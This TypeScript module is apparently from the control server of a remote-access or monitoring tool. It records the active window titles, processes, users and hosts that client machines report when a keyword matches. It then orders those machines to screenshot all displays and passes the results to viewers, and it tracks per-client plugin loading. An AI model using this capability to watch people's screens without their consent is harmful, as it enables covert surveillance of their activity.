335 lines
11 KiB
TypeScript
335 lines
11 KiB
TypeScript
|
import type { ServerWebSocket } from "bun";
|
||
|
|
import { encode as msgpackEncode } from "@msgpack/msgpack";
|
||
|
|
import { v4 as uuidv4 } from "uuid";
|
||
|
|
import * as clientManager from "../clientManager";
|
||
|
|
import { logger } from "../logger";
|
||
|
|
import { metrics } from "../metrics";
|
||
|
|
import { encodeMessage } from "../protocol";
|
||
|
|
import * as sessionManager from "../sessions/sessionManager";
|
||
|
|
import type { SocketData } from "../sessions/types";
|
||
|
|
|
||
|
|
type NotificationRecord = {
|
||
|
|
id: string;
|
||
|
|
clientId: string;
|
||
|
|
host?: string;
|
||
|
|
user?: string;
|
||
|
|
os?: string;
|
||
|
|
title: string;
|
||
|
|
process?: string;
|
||
|
|
processPath?: string;
|
||
|
|
pid?: number;
|
||
|
|
keyword?: string;
|
||
|
|
category: "active_window";
|
||
|
|
ts: number;
|
||
|
|
screenshotId?: string;
|
||
|
|
};
|
||
|
|
|
||
|
|
type NotificationRateState = {
|
||
|
|
lastSent: number;
|
||
|
|
windowStart: number;
|
||
|
|
suppressed: number;
|
||
|
|
lastWarned: number;
|
||
|
|
};
|
||
|
|
|
||
|
|
type PendingNotificationScreenshot = {
|
||
|
|
notificationId: string;
|
||
|
|
clientId: string;
|
||
|
|
ts: number;
|
||
|
|
timeout: NodeJS.Timeout;
|
||
|
|
};
|
||
|
|
|
||
|
|
type NotificationConfigShape = {
|
||
|
|
minIntervalMs?: number;
|
||
|
|
spamWindowMs?: number;
|
||
|
|
spamWarnThreshold?: number;
|
||
|
|
historyLimit?: number;
|
||
|
|
};
|
||
|
|
|
||
|
|
type CreateDeps = {
|
||
|
|
notificationHistory: NotificationRecord[];
|
||
|
|
notificationRate: Map<string, NotificationRateState>;
|
||
|
|
pendingNotificationScreenshots: Map<string, PendingNotificationScreenshot>;
|
||
|
|
pluginLoadedByClient: Map<string, Set<string>>;
|
||
|
|
pluginLoadingByClient: Map<string, Set<string>>;
|
||
|
|
pendingPluginEvents: Map<string, Array<{ event: string; payload: any }>>;
|
||
|
|
pluginState: { enabled: Record<string, boolean>; lastError: Record<string, string> };
|
||
|
|
getNotificationConfig: () => NotificationConfigShape;
|
||
|
|
storeNotificationScreenshot: (
|
||
|
|
pending: PendingNotificationScreenshot,
|
||
|
|
bytes: Uint8Array,
|
||
|
|
format: string,
|
||
|
|
width?: number,
|
||
|
|
height?: number,
|
||
|
|
) => void;
|
||
|
|
deliverNotificationWithScreenshot: (record: NotificationRecord) => Promise<void>;
|
||
|
|
savePluginState: () => Promise<void>;
|
||
|
|
};
|
||
|
|
|
||
|
|
function safeSendViewer(ws: ServerWebSocket<SocketData>, payload: unknown) {
|
||
|
|
try {
|
||
|
|
ws.send(msgpackEncode(payload));
|
||
|
|
} catch (err) {
|
||
|
|
logger.error("[viewer] send failed", err);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||
|
|
function requestNotificationScreenshot(info: any, record: NotificationRecord) {
|
||
|
|
if (!info || !info.ws) return;
|
||
|
|
const commandId = `notify-shot-${uuidv4()}`;
|
||
|
|
const timeout = setTimeout(() => {
|
||
|
|
deps.pendingNotificationScreenshots.delete(commandId);
|
||
|
|
}, 15_000);
|
||
|
|
|
||
|
|
deps.pendingNotificationScreenshots.set(commandId, {
|
||
|
|
notificationId: record.id,
|
||
|
|
clientId: record.clientId,
|
||
|
|
ts: record.ts,
|
||
|
|
timeout,
|
||
|
|
});
|
||
|
|
|
||
|
|
try {
|
||
|
|
info.ws.send(
|
||
|
|
encodeMessage({
|
||
|
|
type: "command",
|
||
|
|
commandType: "screenshot",
|
||
|
|
id: commandId,
|
||
|
|
payload: { mode: "notification", allDisplays: true },
|
||
|
|
} as any),
|
||
|
|
);
|
||
|
|
metrics.recordCommand("screenshot");
|
||
|
|
} catch (err) {
|
||
|
|
clearTimeout(timeout);
|
||
|
|
deps.pendingNotificationScreenshots.delete(commandId);
|
||
|
|
logger.warn("[notify] failed to request screenshot", err);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
function shouldAcceptNotification(key: string, ts: number): boolean {
|
||
|
|
const notificationConfig = deps.getNotificationConfig();
|
||
|
|
const minInterval = Math.max(1000, notificationConfig.minIntervalMs || 8000);
|
||
|
|
const spamWindow = Math.max(5000, notificationConfig.spamWindowMs || 60000);
|
||
|
|
const warnThreshold = Math.max(1, notificationConfig.spamWarnThreshold || 5);
|
||
|
|
const state = deps.notificationRate.get(key) || {
|
||
|
|
lastSent: 0,
|
||
|
|
windowStart: ts,
|
||
|
|
suppressed: 0,
|
||
|
|
lastWarned: 0,
|
||
|
|
};
|
||
|
|
|
||
|
|
if (ts - state.windowStart > spamWindow) {
|
||
|
|
state.windowStart = ts;
|
||
|
|
state.suppressed = 0;
|
||
|
|
state.lastWarned = 0;
|
||
|
|
}
|
||
|
|
|
||
|
|
if (ts - state.lastSent < minInterval) {
|
||
|
|
state.suppressed += 1;
|
||
|
|
if (
|
||
|
|
state.suppressed >= warnThreshold &&
|
||
|
|
ts - state.lastWarned > Math.floor(spamWindow / 2)
|
||
|
|
) {
|
||
|
|
logger.warn(`[notify] suppressed ${state.suppressed} notifications in ${spamWindow}ms for ${key}`);
|
||
|
|
state.lastWarned = ts;
|
||
|
|
}
|
||
|
|
deps.notificationRate.set(key, state);
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
|
||
|
|
state.lastSent = ts;
|
||
|
|
state.suppressed = 0;
|
||
|
|
deps.notificationRate.set(key, state);
|
||
|
|
return true;
|
||
|
|
}
|
||
|
|
|
||
|
|
function flushPluginEvents(clientId: string, pluginId: string) {
|
||
|
|
const key = `${clientId}:${pluginId}`;
|
||
|
|
const list = deps.pendingPluginEvents.get(key);
|
||
|
|
if (!list || list.length === 0) return;
|
||
|
|
const target = clientManager.getClient(clientId);
|
||
|
|
if (!target) return;
|
||
|
|
for (const item of list) {
|
||
|
|
target.ws.send(
|
||
|
|
encodeMessage({
|
||
|
|
type: "plugin_event",
|
||
|
|
pluginId,
|
||
|
|
event: item.event,
|
||
|
|
payload: item.payload,
|
||
|
|
} as any),
|
||
|
|
);
|
||
|
|
}
|
||
|
|
deps.pendingPluginEvents.delete(key);
|
||
|
|
}
|
||
|
|
|
||
|
|
function markPluginLoaded(clientId: string, pluginId: string) {
|
||
|
|
if (!clientId || !pluginId) return;
|
||
|
|
let set = deps.pluginLoadedByClient.get(clientId);
|
||
|
|
if (!set) {
|
||
|
|
set = new Set();
|
||
|
|
deps.pluginLoadedByClient.set(clientId, set);
|
||
|
|
}
|
||
|
|
set.add(pluginId);
|
||
|
|
deps.pluginLoadingByClient.get(clientId)?.delete(pluginId);
|
||
|
|
}
|
||
|
|
|
||
|
|
return {
|
||
|
|
handleNotificationViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||
|
|
const sessionId = uuidv4();
|
||
|
|
sessionManager.addNotificationSession({
|
||
|
|
id: sessionId,
|
||
|
|
viewer: ws,
|
||
|
|
createdAt: Date.now(),
|
||
|
|
});
|
||
|
|
ws.data.sessionId = sessionId;
|
||
|
|
logger.info(`[notify] viewer connected session=${sessionId}`);
|
||
|
|
safeSendViewer(ws, { type: "ready", sessionId, history: deps.notificationHistory });
|
||
|
|
},
|
||
|
|
|
||
|
|
handleNotification(clientId: string, payload: any) {
|
||
|
|
const ts = Number(payload.ts) || Date.now();
|
||
|
|
const title = typeof payload.title === "string" ? payload.title : "";
|
||
|
|
if (!title) return;
|
||
|
|
const keyword = typeof payload.keyword === "string" ? payload.keyword : "";
|
||
|
|
const rateKey = `${clientId}:${keyword || title}`;
|
||
|
|
if (!shouldAcceptNotification(rateKey, ts)) {
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
const info = clientManager.getClient(clientId);
|
||
|
|
logger.info(`[notify] client=${clientId} keyword=${keyword || "-"} title=${title}`);
|
||
|
|
const record: NotificationRecord = {
|
||
|
|
id: uuidv4(),
|
||
|
|
clientId,
|
||
|
|
host: info?.host,
|
||
|
|
user: info?.user,
|
||
|
|
os: info?.os,
|
||
|
|
title,
|
||
|
|
process: typeof payload.process === "string" ? payload.process : "",
|
||
|
|
processPath: typeof payload.processPath === "string" ? payload.processPath : "",
|
||
|
|
pid: Number(payload.pid) || undefined,
|
||
|
|
keyword,
|
||
|
|
category: "active_window",
|
||
|
|
ts,
|
||
|
|
};
|
||
|
|
|
||
|
|
deps.notificationHistory.unshift(record);
|
||
|
|
const notificationConfig = deps.getNotificationConfig();
|
||
|
|
const limit = Math.max(50, notificationConfig.historyLimit || 200);
|
||
|
|
if (deps.notificationHistory.length > limit) {
|
||
|
|
deps.notificationHistory.splice(limit);
|
||
|
|
}
|
||
|
|
|
||
|
|
requestNotificationScreenshot(info, record);
|
||
|
|
|
||
|
|
for (const session of sessionManager.getAllNotificationSessions().values()) {
|
||
|
|
safeSendViewer(session.viewer, { type: "notification", item: record });
|
||
|
|
}
|
||
|
|
|
||
|
|
void deps.deliverNotificationWithScreenshot(record);
|
||
|
|
},
|
||
|
|
|
||
|
|
handleNotificationScreenshotFailure(commandId?: string, ok?: boolean, message?: string) {
|
||
|
|
if (!commandId) return;
|
||
|
|
if (ok === true) return;
|
||
|
|
const pending = deps.pendingNotificationScreenshots.get(commandId);
|
||
|
|
if (!pending) return;
|
||
|
|
clearTimeout(pending.timeout);
|
||
|
|
deps.pendingNotificationScreenshots.delete(commandId);
|
||
|
|
if (message) {
|
||
|
|
logger.warn(`[notify] screenshot failed commandId=${commandId} message=${message}`);
|
||
|
|
}
|
||
|
|
},
|
||
|
|
|
||
|
|
handleNotificationScreenshotResult(clientId: string, payload: any) {
|
||
|
|
const commandId = typeof payload.commandId === "string" ? payload.commandId : "";
|
||
|
|
if (!commandId) return;
|
||
|
|
const pending = deps.pendingNotificationScreenshots.get(commandId);
|
||
|
|
if (!pending) return;
|
||
|
|
clearTimeout(pending.timeout);
|
||
|
|
deps.pendingNotificationScreenshots.delete(commandId);
|
||
|
|
|
||
|
|
if (payload.error) {
|
||
|
|
logger.warn(`[notify] screenshot error commandId=${commandId}`, payload.error);
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
let bytes: Uint8Array | null = null;
|
||
|
|
if (payload.data instanceof Uint8Array) {
|
||
|
|
bytes = payload.data;
|
||
|
|
} else if (payload.data instanceof ArrayBuffer) {
|
||
|
|
bytes = new Uint8Array(payload.data);
|
||
|
|
} else if (ArrayBuffer.isView(payload.data)) {
|
||
|
|
bytes = new Uint8Array(payload.data.buffer);
|
||
|
|
}
|
||
|
|
|
||
|
|
if (!bytes || bytes.length === 0) {
|
||
|
|
logger.warn(`[notify] screenshot missing data commandId=${commandId}`);
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
const format = typeof payload.format === "string" ? payload.format : "jpeg";
|
||
|
|
const width = Number(payload.width) || undefined;
|
||
|
|
const height = Number(payload.height) || undefined;
|
||
|
|
deps.storeNotificationScreenshot(pending, bytes, format, width, height);
|
||
|
|
},
|
||
|
|
|
||
|
|
clearPendingNotificationScreenshots(clientId: string) {
|
||
|
|
for (const [commandId, pending] of deps.pendingNotificationScreenshots.entries()) {
|
||
|
|
if (pending.clientId !== clientId) continue;
|
||
|
|
clearTimeout(pending.timeout);
|
||
|
|
deps.pendingNotificationScreenshots.delete(commandId);
|
||
|
|
}
|
||
|
|
},
|
||
|
|
|
||
|
|
markPluginLoaded,
|
||
|
|
|
||
|
|
isPluginLoaded(clientId: string, pluginId: string): boolean {
|
||
|
|
return deps.pluginLoadedByClient.get(clientId)?.has(pluginId) ?? false;
|
||
|
|
},
|
||
|
|
|
||
|
|
isPluginLoading(clientId: string, pluginId: string): boolean {
|
||
|
|
return deps.pluginLoadingByClient.get(clientId)?.has(pluginId) ?? false;
|
||
|
|
},
|
||
|
|
|
||
|
|
markPluginLoading(clientId: string, pluginId: string) {
|
||
|
|
if (!clientId || !pluginId) return;
|
||
|
|
let set = deps.pluginLoadingByClient.get(clientId);
|
||
|
|
if (!set) {
|
||
|
|
set = new Set();
|
||
|
|
deps.pluginLoadingByClient.set(clientId, set);
|
||
|
|
}
|
||
|
|
set.add(pluginId);
|
||
|
|
},
|
||
|
|
|
||
|
|
enqueuePluginEvent(clientId: string, pluginId: string, event: string, payload: any) {
|
||
|
|
const key = `${clientId}:${pluginId}`;
|
||
|
|
const list = deps.pendingPluginEvents.get(key) || [];
|
||
|
|
list.push({ event, payload });
|
||
|
|
deps.pendingPluginEvents.set(key, list);
|
||
|
|
},
|
||
|
|
|
||
|
|
handlePluginEvent(clientId: string, payload: any) {
|
||
|
|
const pluginId = (payload as any).pluginId || "";
|
||
|
|
const event = (payload as any).event || "";
|
||
|
|
const error = (payload as any).error || "";
|
||
|
|
logger.debug(`[plugin] client=${clientId} plugin=${pluginId} event=${event} error=${error}`);
|
||
|
|
if (event === "loaded") {
|
||
|
|
markPluginLoaded(clientId, pluginId);
|
||
|
|
flushPluginEvents(clientId, pluginId);
|
||
|
|
if (pluginId) {
|
||
|
|
deps.pluginState.lastError[pluginId] = "";
|
||
|
|
void deps.savePluginState();
|
||
|
|
}
|
||
|
|
}
|
||
|
|
if (event === "unloaded") {
|
||
|
|
deps.pluginLoadedByClient.get(clientId)?.delete(pluginId);
|
||
|
|
}
|
||
|
|
if (event === "error" || error) {
|
||
|
|
if (pluginId) {
|
||
|
|
deps.pluginState.lastError[pluginId] = error || String((payload as any).message || "plugin error");
|
||
|
|
void deps.savePluginState();
|
||
|
|
}
|
||
|
|
}
|
||
|
|
},
|
||
|
|
};
|
||
|
|
}
|